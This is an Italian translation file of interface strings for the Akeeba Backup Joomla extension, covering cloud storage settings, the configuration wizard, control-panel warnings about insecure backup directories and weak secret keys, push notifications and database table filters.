COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Quando attivata, Akeeba Backup eliminerà i file di backup più vecchi se la dimensione totale degli archivi di backup supera il valore definito di seguito. Questa impostazione viene applicata <strong>per profilo</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Abilita quota per dimensione"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Se la dimensione totale degli archivi di backup effettuati con il profilo corrente supera questo limite, i backup più vecchi verranno eliminati dal server.<br/><br/><strong>Suggerimento</strong>: Seleziona Personalizzata e digita il valore desiderato se non è presente nell'elenco."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Quota per dimensione"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="I dump del database verranno suddivisi in file di piccole dimensioni per migliorare la compressione ed evitare problemi di dimensione file su alcuni hosting economici. Idealmente, si dovrebbe usare la metà della dimensione della Soglia file di grandi dimensioni. Impostare a 0 per disabilitare la suddivisione e creare un unico file di dump molto grande per database."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Dimensione per file dump SQL suddivisi"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Inserisci il tuo Access Key ID. Creane uno su https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Access Key ID"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="La directory in cui archiviare i file di backup. Se la prima parte della directory non corrisponde al nome di una cartella di sincronizzazione SugarSync, la directory verrà creata all'interno della cartella Magic Briefcase. È possibile utilizzare le stesse variabili usate per i nomi degli archivi di backup, ad esempio [HOST] per il nome di dominio del sito o [DATE] per la data corrente."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="L'indirizzo email del tuo account SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="Email"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="La password del tuo account SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Inserisci la Chiave di accesso privata corrispondente al tuo Access Key ID. Creane una su https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Chiave di accesso privata"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="L'endpoint per il servizio Keystone della tua installazione OpenStack. INCLUDERE la versione. NON includere il suffisso /token. Esempio: https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="URL di autenticazione"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="L'endpoint API per il tuo contenitore di object storage, ad esempio https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="URL contenitore"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="La directory all'interno del contenitore di object storage OpenStack Swift in cui archiviare gli archivi di backup. Per archiviare tutto nella radice del contenitore, lasciare vuoto."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="La password API OpenStack per il tuo cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="Password OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Il tuo ID tenant OpenStack (Keystone v2) o ID progetto (Keystone v3), ad esempio a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="ID tenant / ID progetto"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="Il nome utente API OpenStack per il tuo cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Nome utente OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Versione Keystone"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Scegliere quale versione del servizio di autenticazione OpenStack Keystone è utilizzata dal provider di archiviazione. In caso di dubbio, contattare il provider di archiviazione."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Legacy)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Dominio di autenticazione Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Utilizzato solo con l'autenticazione Keystone v3. Questo è il dominio di autenticazione per il servizio Keystone v3, <strong>NON</strong> il nome host del server di autenticazione Keystone. Nella maggior parte dei casi è <code>default</code> o <code>Default</code>. In caso di dubbio, contattare il provider di archiviazione."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Si è verificato un errore durante l'attesa di una risposta AJAX:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="Errore AJAX"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Sfoglia..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Browser directory"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Configura..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Personalizzata..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="Browser directory FTP"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Aggiorna"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="L'uso della radice del sito per l'output del backup o per l'archiviazione temporanea dei file causerà un errore del backup. L'impostazione viene sovrascritta."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Il server non supporta la cifratura delle impostazioni di configurazione. Si consiglia vivamente di non memorizzare password nella configurazione."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Le impostazioni sono protette dalla cifratura a 128 bit. È possibile memorizzare in modo sicuro le password nella configurazione."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Se selezionata, una copia di Akeeba Kickstart Professional verrà caricata nell'archiviazione remota specificata nel Motore di post-elaborazione sopra (eccetto per i motori Nessuno ed Email). Questo ha senso quando si usa FTP o SFTP per trasferire il sito su un server diverso: sia l'archivio di backup che Kickstart, usato per estrarlo, verranno caricati sul server remoto. Al termine del backup è possibile avviare Kickstart sul sito remoto e procedere con il ripristino. Semplice!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Carica Kickstart nell'archiviazione remota"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Contribuisci a migliorare il software segnalando in modo anonimo e automatico le versioni di PHP, MySQL e Joomla!. Queste informazioni aiuteranno a decidere quali versioni di Joomla!, PHP e MySQL supportare nelle versioni future. Nota: NON vengono raccolti il nome del sito, l'indirizzo IP o qualsiasi altra informazione di identificazione diretta o indiretta."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Abilita la segnalazione anonima delle versioni di PHP, MySQL e Joomla!"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Se sono state configurate directory esterne al sito, i loro contenuti appariranno nell'archivio come sottodirectory di questa directory virtuale. È virtuale perché non esiste realmente sul server, ma solo all'interno dell'archivio di backup. Assicurarsi che il nome della directory virtuale non coincida con una directory esistente per evitare la perdita di dati."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Directory virtuale per file esterni al sito"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Directory"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Password"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="URL base WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="URL base WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Nome utente"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Se stai cercando i filtri &ndash;ad esempio per escludere file, directory e tabelle del database&ndash; fai clic sul pulsante Annulla per tornare alla pagina del Pannello di controllo dove puoi accedere direttamente a queste funzionalità."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="I file ZIP sono composti da una sezione dati e una sezione \"directory\". Queste sezioni vengono elaborate in parallelo da Akeeba Backup e unite durante la fase di finalizzazione dell'archivio. Questo parametro determina quanti dati verranno elaborati in una volta durante questa fase. Non dovrebbe essere necessario modificare questa impostazione a meno che non si abbiano gravi problemi di esaurimento della memoria."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Dimensione del blocco per l'elaborazione della directory centrale"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFWIZ="Procedura guidata di configurazione"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Congratulazioni! Hai completato la procedura guidata di configurazione automatica. Ora puoi testare la nuova configurazione eseguendo un backup, oppure ottimizzarla nella pagina Configurazione."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Ottimizzazione delle impostazioni del motore di dump del database"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Esame della directory di output"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Errore nella procedura guidata di configurazione"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Analisi comparativa completata"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="La procedura guidata di configurazione esegue una serie di benchmark sul server per determinare le impostazioni di backup ottimali per il sito. Non navigare verso un'altra pagina. È normale che la pagina sembri bloccata per periodi fino a tre (3) minuti, a seconda della velocità del server."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Ottimizzazione del tempo massimo di esecuzione"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Ottimizzazione del tempo minimo di esecuzione"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Analisi dell'ambiente server in corso"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Determinazione delle dimensioni della parte richiesta per gli archivi suddivisi"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Verifica che <code>flush()</code> funzioni sul server"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Akeeba Backup non è riuscito a determinare le impostazioni ottimali per il dump del database. Assicurarsi che il server utilizzi MySQL 5.0 o versione successiva e che l'utente del database sia autorizzato a eseguire il comando SHOW TABLE STATUS prima di avviare nuovamente questa procedura guidata."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Impossibile determinare il tempo minimo di esecuzione. Ciò indica un grave problema di comunicazione con il server. Provare a configurare Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Akeeba Backup non è riuscito a determinare una dimensione della parte adatta al server. Assicurarsi di disporre di spazio libero sufficiente sull'account e avviare nuovamente questa procedura guidata."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Akeeba Backup non ha trovato una directory di output e temporanea accessibile in scrittura. Concedere i permessi di scrittura alla directory administrator/components/com_akeebabackup/backup e avviare nuovamente questa procedura guidata."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Akeeba Backup non è riuscito a salvare le preferenze del tempo massimo di esecuzione. Sarà necessario configurarle manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Impossibile salvare la preferenza del tempo minimo di esecuzione. Sarà necessario configurare Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Akeeba Backup ha rilevato che il server richiede un tempo massimo di esecuzione troppo basso per essere pratico. È preferibile cambiare hosting o chiedere al provider di aumentare il tempo massimo di esecuzione di PHP e rimuovere eventuali limitazioni sull'utilizzo della CPU dell'account."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Prova con %s secondi"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Verifica di una dimensione della parte di %s Mb"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Salvataggio della preferenza del tempo minimo di esecuzione"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Salvataggio della preferenza del tempo massimo di esecuzione"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Tentativo di effettuare una richiesta AJAX asincrona al server"

COM_AKEEBABACKUP_CONTROLPANEL="Pannello di controllo"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Ricordamelo tra 15 giorni"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Scopri di più su <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Usa il codice coupon <strong>%s</strong> per abbonarti con uno sconto introduttivo del <strong>20%%</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Aggiungi backup pianificati, caricamento automatico su oltre 40 provider di archiviazione cloud, ripristino integrato, una procedura guidata per il trasferimento del sito e molto altro con <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Una singola licenza è valida per <strong>siti illimitati</strong>. Include il supporto degli sviluppatori che scrivono questo software."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Semplifica la tua vita"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Oops! Le tabelle del database di Akeeba Backup sono danneggiate.</h3><p>Akeeba Backup ha rilevato che le sue tabelle del database erano mancanti o danneggiate. Accedendo come Super Utente al backend amministratore del sito, vai alla voce di menu Sistema nella barra laterale di Joomla. Seleziona il collegamento Database nel pannello Manutenzione. Seleziona la voce Akeeba Backup dall'elenco e fai clic sul pulsante Aggiorna struttura nella barra degli strumenti per risolvere i problemi con le tabelle del database. Quindi riprova ad accedere a Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Akeeba Backup non è riuscito a determinare i permessi della directory <code>media/com_akeebabackup</code>."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Eseguire una delle seguenti operazioni:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Attivare la modalità FTP di Joomla! nella Configurazione globale"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Modificare i permessi della directory <code>media/com_akeebabackup</code> e di tutte le sue sottodirectory a 0755 e di tutti i suoi file a 0644 utilizzando il client FTP."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Akeeba Backup <strong><u>molto probabilmente non funzionerà affatto</u></strong> se non si eseguono questi passaggi. Se viene visualizzato questo messaggio, seguire le istruzioni in esso contenute prima di richiedere assistenza. Farà risparmiare molto tempo."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="AVVISO"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Applica la chiave segreta suggerita"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Correggi la sicurezza dei miei backup"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="La chiave segreta è una password notoriamente debole. Non utilizzare parole di dizionario, nomi di film/serie, nomi dei propri cari o degli animali domestici."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="Le funzionalità di backup front-end e remoto sono disabilitate"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="La <em>chiave segreta</em> non è sicura e può essere facilmente indovinata. Per proteggere il sito, Akeeba Backup ha disabilitato l'accesso al backup front-end e remoto fino a quando non viene inserita una chiave segreta sicura. Il problema rilevato è:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Impossibile modificare la chiave segreta"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="La chiave segreta è troppo corta. Usa una chiave segreta di almeno 8 caratteri."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="La chiave segreta è troppo semplice. Prova a usare lettere maiuscole e minuscole, numeri e punteggiatura."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="In alternativa, fai clic sul pulsante qui sotto per reimpostare la chiave segreta al valore suggerito <code>%s</code>. In entrambi i casi sarà necessario aggiornare i servizi di backup remoto e/o i cron job con la nuova chiave segreta."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Fai clic su Opzioni, Front-end e inserisci una chiave segreta più complessa."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Fai clic su Configurazione di sistema, API pubblica e inserisci una chiave segreta più complessa."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Formato Download ID non valido. Segui le nostre istruzioni per ottenere il Download ID. Non inserire nome utente, indirizzo e-mail o password in questo campo."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Operazioni avanzate"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Operazioni di base"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Informazioni su inclusioni ed esclusioni"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Backup con un clic"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Risoluzione dei problemi"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Directory di output non sicura"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Directory di output e nome file di backup potenzialmente non sicuri"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Directory di output non valida"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Problema di sicurezza della directory di output non risolvibile"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Riepilogo dello stato"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Le opzioni di inclusione ed esclusione vengono applicate solo al profilo di backup attivo."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Fai clic sul pulsante qui sotto per risolvere questo problema. Ecco cosa fa."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Fino ad allora <strong>RACCOMANDIAMO VIVAMENTE</strong> di non eseguire un backup del sito e, se ne è già stato eseguito uno, di eliminare tutti gli archivi di backup e i file di registro. <strong>IL MANCATO RISPETTO DI QUESTE ISTRUZIONI POTREBBE COMPORTARE MOLTO PROBABILMENTE LA COMPROMISSIONE (HACKING) DEL SITO E LA PROBABILE INUTILIZZABILITÀ DEI BACKUP.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Akeeba Backup ha rilevato che la directory di output del backup <code>%s</code> si trova nella root web del sito. I suoi contenuti, inclusi gli archivi di backup, sono accessibili via web. Tuttavia, NON è possibile elencare i file nella directory con un browser web. <strong>Questo può essere un problema di sicurezza</strong>. Un malintenzionato può indovinare il nome dell'archivio di backup e scaricarlo direttamente, aggirando la sicurezza del sito."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Il \"Nome file di output del backup\" verrà modificato per includere la variabile <code>[RANDOM]</code>. Questo rende praticamente impossibile indovinare i nomi dei file di backup aggiungendo 16 lettere e/o numeri casuali diversi nel nome del file dell'archivio di backup ogni volta che si esegue un backup."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Un file <code>.htaccess</code> e un file <code>web.config</code> verranno scritti in quella cartella. Sulla maggior parte dei server questo è sufficiente per impedire il download diretto tramite web di qualsiasi file al suo interno e disabilita l'elenco dei suoi file. Abbiamo anche una soluzione per i server in cui questi file speciali non hanno effetto. Altri tre file chiamati <code>index.php</code>, <code>index.html</code> e <code>index.htm</code> verranno anch'essi scritti in quella cartella. Questi file index impediscono al server web di elencare i nomi degli archivi di backup e dei file di registro."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Inoltre, la directory di output corrisponde o è una sottodirectory di una cartella utilizzata da Joomla e dalle sue estensioni per i propri file accessibili pubblicamente."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="È necessario andare alla pagina di Configurazione di Akeeba Backup e selezionare una directory di output diversa."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Akeeba Backup ha rilevato che la directory di output del backup <code>%s</code> si trova nella root web del sito. I suoi contenuti, inclusi gli archivi di backup, sono accessibili via web. Inoltre, è possibile elencare i file nella directory, cioè mostra un elenco degli archivi di backup quando vi si accede con un browser web. <strong>Questo è un grave problema di sicurezza</strong>. Un malintenzionato può accedere a questa cartella da un browser web e scaricare direttamente gli archivi di backup, aggirando la sicurezza del sito."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Purtroppo, il server non supporta alcun metodo ragionevole per proteggere la directory. Qualunque cosa si faccia, elencherà sempre i nomi dei file che contiene e permetterà di scaricarli da un browser. L'unica opzione è creare una directory di output del backup al di sopra della root del sito."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Gli errori rilevati impediscono il corretto funzionamento"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Akeeba Backup è pronto per eseguire il backup del sito"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Akeeba Backup è pronto per eseguire il backup del sito, ma sono presenti potenziali problemi"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Non accessibile in scrittura"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Accessibile in scrittura"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="È stato rilevato che CloudFlare Rocket Loader è abilitato sul sito. Questa funzionalità interferirà con JavaScript sul sito, alterando l'ordine di caricamento degli script e causando errori JavaScript. Disabilita la funzionalità Rocket Loader per consentire il corretto funzionamento di JavaScript di Joomla e Akeeba Backup. Per ulteriori informazioni e istruzioni, consulta la <a href='%s' target='_blank'>documentazione di CloudFlare</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="Rocket Loader di CloudFlare impedirà l'uso corretto di Joomla!&trade; e Akeeba Backup"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="La chiave segreta è stata modificata in <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Importante:</strong> Se Joomla ha già determinato la disponibilità di aggiornamenti per Akeeba Backup prima che tu inserissi il Download ID, <em>potrebbe non essere in grado di scaricarli</em> anche dopo averlo inserito, a causa di alcuni bug di lunga data in Joomla. In questo caso, scarica il file ZIP dell'ultima versione dal nostro sito. Poi vai al menu Sistema di Joomla, trova il pannello Installa, fai clic su Estensioni, fai clic sulla scheda Carica il file del pacchetto e installa il file ZIP scaricato <strong>due volte</strong> di seguito, <strong>senza</strong> disinstallare Akeeba Backup prima o nel frattempo. La doppia installazione è necessaria per risolvere un altro bug di lunga data in Joomla che a volte impedisce la copia di tutti i file aggiornati durante l'installazione di un aggiornamento di un'estensione."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="È necessario inserire il Download ID"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Vai al menu Sistema di Joomla dal lato sinistro. Trova il pannello Aggiornamento e fai clic sul collegamento Siti di aggiornamento. Trova la voce "Akeeba Backup Professional" e fai clic su di essa. In alternativa, <a href=\"%s\">fai clic qui</a> per andare direttamente a quella pagina. Inserisci il tuo Download ID — sia l'ID principale che un Download ID aggiuntivo — nel campo "Chiave di download" e fai clic sul pulsante Salva."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Cambia profili"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Errore nel cambio del profilo attivo"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Profilo cambiato con successo"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Profilo attivo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Directory di output non accessibile in scrittura"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Utilizzo della root del sito come directory di output o temporanea"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="Il memory_limit di PHP è troppo basso"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Utilizzo della cartella del componente come directory di output"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Cartella pubblica personalizzata di Joomla! con Dereferenzia i collegamenti abilitato"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="La directory di output è limitata da open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="Il tempo massimo di esecuzione è troppo basso"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="La directory temporanea corrisponde alla root del sito"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="Il prefisso del nome della tabella del database contiene una o più lettere maiuscole"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Stai usando <code>bak_</code> come prefisso dei nomi delle tabelle del database del tuo sito."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Versione PHP obsoleta"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Problema di calcolo CRC"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Directory di output predefinita in uso"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Funzioni disabilitate potrebbero influire sul funzionamento"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="Formato ZIP selezionato"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="Nessun problema rilevato"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="La tua versione di PHP non ha l'estensione mbstring installata o attivata."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Averla abilitata è un requisito di Joomla!. Joomla! e Akeeba Backup non funzioneranno correttamente. Chiedi al tuo hosting di abilitare l'estensione mbstring su PHP %s in esecuzione sul tuo server."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Notifiche push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Gestisci le notifiche push nel tuo browser"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Le notifiche push vengono gestite per browser e dispositivo tramite la Push API del browser. Alcuni browser più vecchi potrebbero non supportare le notifiche push. Leggi la documentazione per ulteriori informazioni."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Notifiche push non disponibili"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Il tuo browser non supporta la Push API. Usa una versione recente di Firefox, Chrome, Edge, Opera e altri browser con supporto per la Web Push API. <br/><small>La Push API è supportata anche in Safari su macOS Ventura e versioni successive, nonché su iOS 16.1 e versioni successive.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Il tuo server non soddisfa i requisiti minimi per utilizzare la Push API del browser per inviare notifiche. Consulta la documentazione per l'elenco dei requisiti di questa funzione."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Abilita notifiche push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Disabilita notifiche push"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Notifiche Akeeba Backup abilitate su %s"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Questo messaggio conferma che l'abilitazione delle notifiche push ha funzionato e ti mostra come appariranno le notifiche di Akeeba Backup."

COM_AKEEBABACKUP_DBFILTER="Esclusione tabelle database"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Escludi tabelle non core"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Reimposta tutti i filtri"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Database corrente:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Database principale del sito"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Tabelle, viste, procedure, funzioni e trigger del database"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Funzione memorizzata"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Numero di righe"
